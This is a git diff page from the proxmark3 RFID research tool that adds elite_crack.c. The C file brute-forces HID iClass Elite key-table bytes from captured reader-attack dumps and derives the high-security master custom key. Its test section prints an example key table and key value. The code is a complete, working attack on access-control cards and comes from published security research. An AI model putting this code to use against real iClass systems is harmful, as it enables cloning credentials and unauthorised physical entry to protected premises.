]> git.zerfleddert.de Git - proxmark3-svn/blobdiff - client/loclass/elite_crack.c
Merge branch 'iclass-research' of https://github.com/PenturaLabs/proxmark3 into Pentu...
[proxmark3-svn] / client / loclass / elite_crack.c
diff --git a/client/loclass/elite_crack.c b/client/loclass/elite_crack.c
new file mode 100644 (file)
index 0000000..27a2a1b
--- /dev/null
@@ -0,0 +1,526 @@
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdio.h>
+#include <time.h>
+#include "cipherutils.h"
+#include "cipher.h"
+#include "ikeys.h"
+#include "elite_crack.h"
+#include "fileutils.h"
+#include "des.h"
+
+/**
+ * @brief Permutes a key from standard NIST format to Iclass specific format
+ *     from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
+ *
+ *     If you permute [6c 8d 44 f9 2a 2d 01 bf]  you get  [8a 0d b9 88 bb a7 90 ea]  as shown below.
+ *
+ *     1 0 1 1 1 1 1 1  bf
+ *     0 0 0 0 0 0 0 1  01
+ *     0 0 1 0 1 1 0 1  2d
+ *     0 0 1 0 1 0 1 0  2a
+ *     1 1 1 1 1 0 0 1  f9
+ *     0 1 0 0 0 1 0 0  44
+ *     1 0 0 0 1 1 0 1  8d
+ *     0 1 1 0 1 1 0 0  6c
+ *
+ *     8 0 b 8 b a 9 e
+ *     a d 9 8 b 7 0 a
+ *
+ * @param key
+ * @param dest
+ */
+void permutekey(uint8_t key[8], uint8_t dest[8])
+{
+
+       int i;
+       for(i = 0 ; i < 8 ; i++)
+       {
+               dest[i] =       (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
+                                       (((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
+                                       (((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
+                                       (((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
+                                       (((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
+                                       (((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
+                                       (((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
+                                       (((key[0] & (0x80 >> i)) >> (7-i)) << 0);
+       }
+
+       return;
+}
+/**
+ * Permutes  a key from iclass specific format to NIST format
+ * @brief permutekey_rev
+ * @param key
+ * @param dest
+ */
+void permutekey_rev(uint8_t key[8], uint8_t dest[8])
+{
+       int i;
+       for(i = 0 ; i < 8 ; i++)
+       {
+               dest[7-i] =     (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
+                                       (((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
+                                       (((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
+                                       (((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
+                                       (((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
+                                       (((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
+                                       (((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
+                                       (((key[7] & (0x80 >> i)) >> (7-i)) << 0);
+       }
+}
+
+/**
+ * Helper function for hash1
+ * @brief rr
+ * @param val
+ * @return
+ */
+uint8_t rr(uint8_t val)
+{
+       return val >> 1 | (( val & 1) << 7);
+}
+/**
+ * Helper function for hash1
+ * @brief rl
+ * @param val
+ * @return
+ */
+uint8_t rl(uint8_t val)
+{
+  return val << 1 | (( val & 0x80) >> 7);
+}
+/**
+ * Helper function for hash1
+ * @brief swap
+ * @param val
+ * @return
+ */
+uint8_t swap(uint8_t val)
+{
+       return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
+}
+
+/**
+ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
+ * when constructing the K_sel.
+ * @param csn the CSN used
+ * @param k output
+ */
+void hash1(uint8_t csn[] , uint8_t k[])
+{
+       k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7];
+       k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7];
+       k[2] = rr(swap( csn[2]+k[1] ));
+       k[3] = rr(swap( csn[3]+k[0] ));
+       k[4] = ~rr(swap( csn[4]+k[2] ))+1;
+       k[5] = ~rr(swap( csn[5]+k[3] ))+1;
+       k[6] = rr( csn[6]+(k[4]^0x3c) );
+       k[7] = rl( csn[7]+(k[5]^0xc3) );
+       int i;
+       for(i = 7; i >=0; i--)
+               k[i] = k[i] & 0x7F;
+}
+
+
+/**
+ * @brief Reads data from the iclass-reader-attack dump file.
+ * @param dump, data from a iclass reader attack dump.  The format of the dumpdata is expected to be as follows:
+ *             <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
+ *             .. N times...
+ *
+ *     So the first attack, with 3 bytes to recover would be : ... 03000145
+ *     And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
+ *     And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
+ *
+ * @param cc_nr an array to store cc_nr into (12 bytes)
+ * @param csn an arracy ot store CSN into (8 bytes)
+ * @param received_mac an array to store MAC into (4 bytes)
+ * @param i the number to read. Should be less than 127, or something is wrong...
+ * @return
+ */
+int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i)
+{
+       size_t itemsize = sizeof(dumpdata);
+       //dumpdata item =  {0};
+       memcpy(item,dump+i*itemsize, itemsize);
+       if(true)
+       {
+               printvar("csn", item->csn,8);
+               printvar("cc_nr", item->cc_nr,12);
+               printvar("mac", item->mac,4);
+       }
+       return 0;
+}
+
+static uint32_t startvalue = 0;
+/**
+ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
+ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
+ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
+ *It updates the keytable with the findings, also using the upper half of the 16-bit ints
+ *to signal if the particular byte has been cracked or not.
+ *
+ * @param dump The dumpdata from iclass reader attack.
+ * @param keytable where to write found values.
+ * @return
+ */
+int bruteforceItem(dumpdata item, uint16_t keytable[])
+{
+       int errors = 0;
+       uint8_t key_sel_p[8] = { 0 };
+       uint8_t div_key[8] = {0};
+       int found = false;
+       uint8_t key_sel[8] = {0};
+       uint8_t calculated_MAC[4] = { 0 };
+
+       //Get the key index (hash1)
+       uint8_t key_index[8] = {0};
+       hash1(item.csn, key_index);
+
+
+       /*
+        * Determine which bytes to retrieve. A hash is typically
+        * 01010000454501
+        * We go through that hash, and in the corresponding keytable, we put markers
+        * on what state that particular index is:
+        * - CRACKED (this has already been cracked)
+        * - BEING_CRACKED (this is being bruteforced now)
+        * - CRACK_FAILED (self-explaining...)
+        *
+        * The markers are placed in the high area of the 16 bit key-table.
+        * Only the lower eight bits correspond to the (hopefully cracked) key-value.
+        **/
+       uint8_t bytes_to_recover[3] = {0};
+       uint8_t numbytes_to_recover = 0 ;
+       int i;
+       for(i =0 ; i < 8 ; i++)
+       {
+               if(keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
+               bytes_to_recover[numbytes_to_recover++] = key_index[i];
+               keytable[key_index[i]] |= BEING_CRACKED;
+
+               if(numbytes_to_recover > 3)
+               {
+                       prnlog("The CSN requires > 3 byte bruteforce, not supported");
+                       printvar("CSN", item.csn,8);
+                       printvar("HASH1", key_index,8);
+
+                       //Before we exit, reset the 'BEING_CRACKED' to zero
+                       keytable[bytes_to_recover[0]]  &= ~BEING_CRACKED;
+                       keytable[bytes_to_recover[1]]  &= ~BEING_CRACKED;
+                       keytable[bytes_to_recover[2]]  &= ~BEING_CRACKED;
+
+                       return 1;
+               }
+       }
+
+       /*
+        *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
+        */
+       uint32_t brute = startvalue;
+       /*
+          Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
+          (when brute reaches 0x100). And so on...
+          bytes_to_recover = 1 --> endmask = 0x0000100
+          bytes_to_recover = 2 --> endmask = 0x0010000
+          bytes_to_recover = 3 --> endmask = 0x1000000
+       */
+
+       uint32_t endmask =  1 << 8*numbytes_to_recover;
+
+       for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
+               prnlog("Bruteforcing byte %d", bytes_to_recover[i]);
+
+       while(!found && !(brute & endmask))
+       {
+
+               //Update the keytable with the brute-values
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]] &= 0xFF00;
+                       keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF);
+               }
+
+               // Piece together the key
+               key_sel[0] = keytable[key_index[0]] & 0xFF;key_sel[1] = keytable[key_index[1]] & 0xFF;
+               key_sel[2] = keytable[key_index[2]] & 0xFF;key_sel[3] = keytable[key_index[3]] & 0xFF;
+               key_sel[4] = keytable[key_index[4]] & 0xFF;key_sel[5] = keytable[key_index[5]] & 0xFF;
+               key_sel[6] = keytable[key_index[6]] & 0xFF;key_sel[7] = keytable[key_index[7]] & 0xFF;
+
+               //Permute from iclass format to standard format
+               permutekey_rev(key_sel,key_sel_p);
+               //Diversify
+               diversifyKey(item.csn, key_sel_p, div_key);
+               //Calc mac
+               doMAC(item.cc_nr, div_key,calculated_MAC);
+
+               if(memcmp(calculated_MAC, item.mac, 4) == 0)
+               {
+                       for(i =0 ; i < numbytes_to_recover; i++)
+                               prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]);
+                       found = true;
+                       break;
+               }
+               brute++;
+               if((brute & 0xFFFF) == 0)
+               {
+                       printf("%d",(brute >> 16) & 0xFF);
+                       fflush(stdout);
+               }
+       }
+       if(! found)
+       {
+               prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover);
+               printvar("CSN",item.csn,8);
+               errors++;
+               //Before we exit, reset the 'BEING_CRACKED' to zero
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]]  &= 0xFF;
+                       keytable[bytes_to_recover[i]]  |= CRACK_FAILED;
+               }
+
+       }else
+       {
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]]  &= 0xFF;
+                       keytable[bytes_to_recover[i]]  |= CRACKED;
+               }
+
+       }
+       return errors;
+}
+
+
+/**
+ * From dismantling iclass-paper:
+ *     Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
+ *     Then he can simply recover the master custom key K_cus by computing
+ *     K_cus = ~DES(z[0] , y[0] ) .
+ *
+ *     Furthermore, the adversary is able to verify that he has the correct K cus by
+ *     checking whether z [0] = DES enc (K_cus , ~K_cus ).
+ * @param keytable an array (128 bytes) of hash2(kcus)
+ * @param master_key where to put the master key
+ * @return 0 for ok, 1 for failz
+ */
+int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] )
+{
+       des_context ctx_e = {DES_ENCRYPT,{0}};
+
+       uint8_t z_0[8] = {0};
+       uint8_t y_0[8] = {0};
+       uint8_t z_0_rev[8] = {0};
+       uint8_t key64[8] = {0};
+       uint8_t key64_negated[8] = {0};
+       uint8_t result[8] = {0};
+
+       // y_0 and z_0 are the first 16 bytes of the keytable
+       memcpy(y_0,first16bytes,8);
+       memcpy(z_0,first16bytes+8,8);
+
+       // Our DES-implementation uses the standard NIST
+       // format for keys, thus must translate from iclass
+       // format to NIST-format
+       permutekey_rev(z_0, z_0_rev);
+
+       // ~K_cus = DESenc(z[0], y[0])
+       des_setkey_enc( &ctx_e, z_0_rev );
+       des_crypt_ecb(&ctx_e, y_0, key64_negated);
+
+       int i;
+       for(i = 0; i < 8 ; i++)
+       {
+               key64[i] = ~key64_negated[i];
+       }
+
+       // Can we verify that the  key is correct?
+       // Once again, key is on iclass-format
+       uint8_t key64_stdformat[8] = {0};
+       permutekey_rev(key64, key64_stdformat);
+
+       des_setkey_enc( &ctx_e, key64_stdformat );
+       des_crypt_ecb(&ctx_e, key64_negated, result);
+       prnlog("\nHigh security custom key (Kcus):");
+       printvar("Std format   ", key64_stdformat,8);
+       printvar("Iclass format", key64,8);
+
+       if(master_key != NULL)
+               memcpy(master_key, key64, 8);
+
+       if(memcmp(z_0,result,4) != 0)
+       {
+               prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
+               return 1;
+       }else{
+               prnlog("Key verified ok!\n");
+       }
+       return 0;
+}
+/**
+ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
+ * @param dump
+ * @param dumpsize
+ * @param keytable
+ * @return
+ */
+int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
+{
+       uint8_t i;
+       int errors = 0;
+       size_t itemsize = sizeof(dumpdata);
+       clock_t t1 = clock();
+
+       dumpdata* attack = (dumpdata* ) malloc(itemsize);
+
+       for(i = 0 ; i * itemsize < dumpsize ; i++ )
+       {
+               memcpy(attack,dump+i*itemsize, itemsize);
+               errors += bruteforceItem(*attack, keytable);
+       }
+       free(attack);
+       clock_t t2 = clock();
+       float diff = (((float)t2 - (float)t1) / CLOCKS_PER_SEC );
+       prnlog("\nPerformed full crack in %f seconds",diff);
+
+       // Pick out the first 16 bytes of the keytable.
+       // The keytable is now in 16-bit ints, where the upper 8 bits
+       // indicate crack-status. Those must be discarded for the
+       // master key calculation
+       uint8_t first16bytes[16] = {0};
+
+       for(i = 0 ; i < 16 ; i++)
+       {
+               first16bytes[i] = keytable[i] & 0xFF;
+               if(!(keytable[i] & CRACKED))
+               {
+                       prnlog("Error, we are missing byte %d, custom key calculation will fail...", i);
+               }
+       }
+       errors += calculateMasterKey(first16bytes, NULL);
+       return errors;
+}
+/**
+ * Perform a bruteforce against a file which has been saved by pm3
+ *
+ * @brief bruteforceFile
+ * @param filename
+ * @return
+ */
+int bruteforceFile(const char *filename, uint16_t keytable[])
+{
+
+       FILE *f = fopen(filename, "rb");
+       if(!f) {
+               prnlog("Failed to read from file '%s'", filename);
+               return 1;
+       }
+
+       fseek(f, 0, SEEK_END);
+       long fsize = ftell(f);
+       fseek(f, 0, SEEK_SET);
+
+       uint8_t *dump = malloc(fsize);
+    size_t bytes_read = fread(dump, fsize, 1, f);
+
+       fclose(f);
+    if (bytes_read < fsize)
+    {
+        prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize );
+    }
+       return bruteforceDump(dump,fsize,keytable);
+}
+/**
+ *
+ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
+ * @param filename
+ * @return
+ */
+int bruteforceFileNoKeys(const char *filename)
+{
+       uint16_t keytable[128] = {0};
+       return bruteforceFile(filename, keytable);
+}
+
+// ---------------------------------------------------------------------------------
+// ALL CODE BELOW THIS LINE IS PURELY TESTING
+// ---------------------------------------------------------------------------------
+// ----------------------------------------------------------------------------
+// TEST CODE BELOW
+// ----------------------------------------------------------------------------
+
+int _testBruteforce()
+{
+       int errors = 0;
+       if(true){
+               // First test
+               prnlog("[+] Testing crack from dumpfile...");
+
+               /**
+                 Expected values for the dumpfile:
+                       High Security Key Table
+
+                       00  F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
+                       10  BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
+                       20  14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
+                       30  A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
+                       40  78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
+                       50  31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
+                       60  3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
+                       70  43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
+
+                       **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
+               **/
+               uint16_t keytable[128] = {0};
+               //save some time...
+               startvalue = 0x7B0000;
+               errors |= bruteforceFile("iclass_dump.bin",keytable);
+       }
+       return errors;
+}
+
+int _test_iclass_key_permutation()
+{
+       uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
+       uint8_t testcase_output[8] = {0};
+       uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
+       uint8_t testcase_output_rev[8] = {0};
+       permutekey(testcase, testcase_output);
+       permutekey_rev(testcase_output, testcase_output_rev);
+
+
+       if(memcmp(testcase_output, testcase_output_correct,8) != 0)
+       {
+               prnlog("Error with iclass key permute!");
+               printarr("testcase_output", testcase_output, 8);
+               printarr("testcase_output_correct", testcase_output_correct, 8);
+               return 1;
+
+       }
+       if(memcmp(testcase, testcase_output_rev, 8) != 0)
+       {
+               prnlog("Error with reverse iclass key permute");
+               printarr("testcase", testcase, 8);
+               printarr("testcase_output_rev", testcase_output_rev, 8);
+               return 1;
+       }
+
+       prnlog("[+] Iclass key permutation OK!");
+       return 0;
+}
+
+int testElite()
+{
+       prnlog("[+] Testing iClass Elite functinality...");
+       prnlog("[+] Testing key diversification ...");
+
+       int errors = 0 ;
+       errors +=_test_iclass_key_permutation();
+       errors += _testBruteforce();
+       return errors;
+
+}
+
Impressum, Datenschutz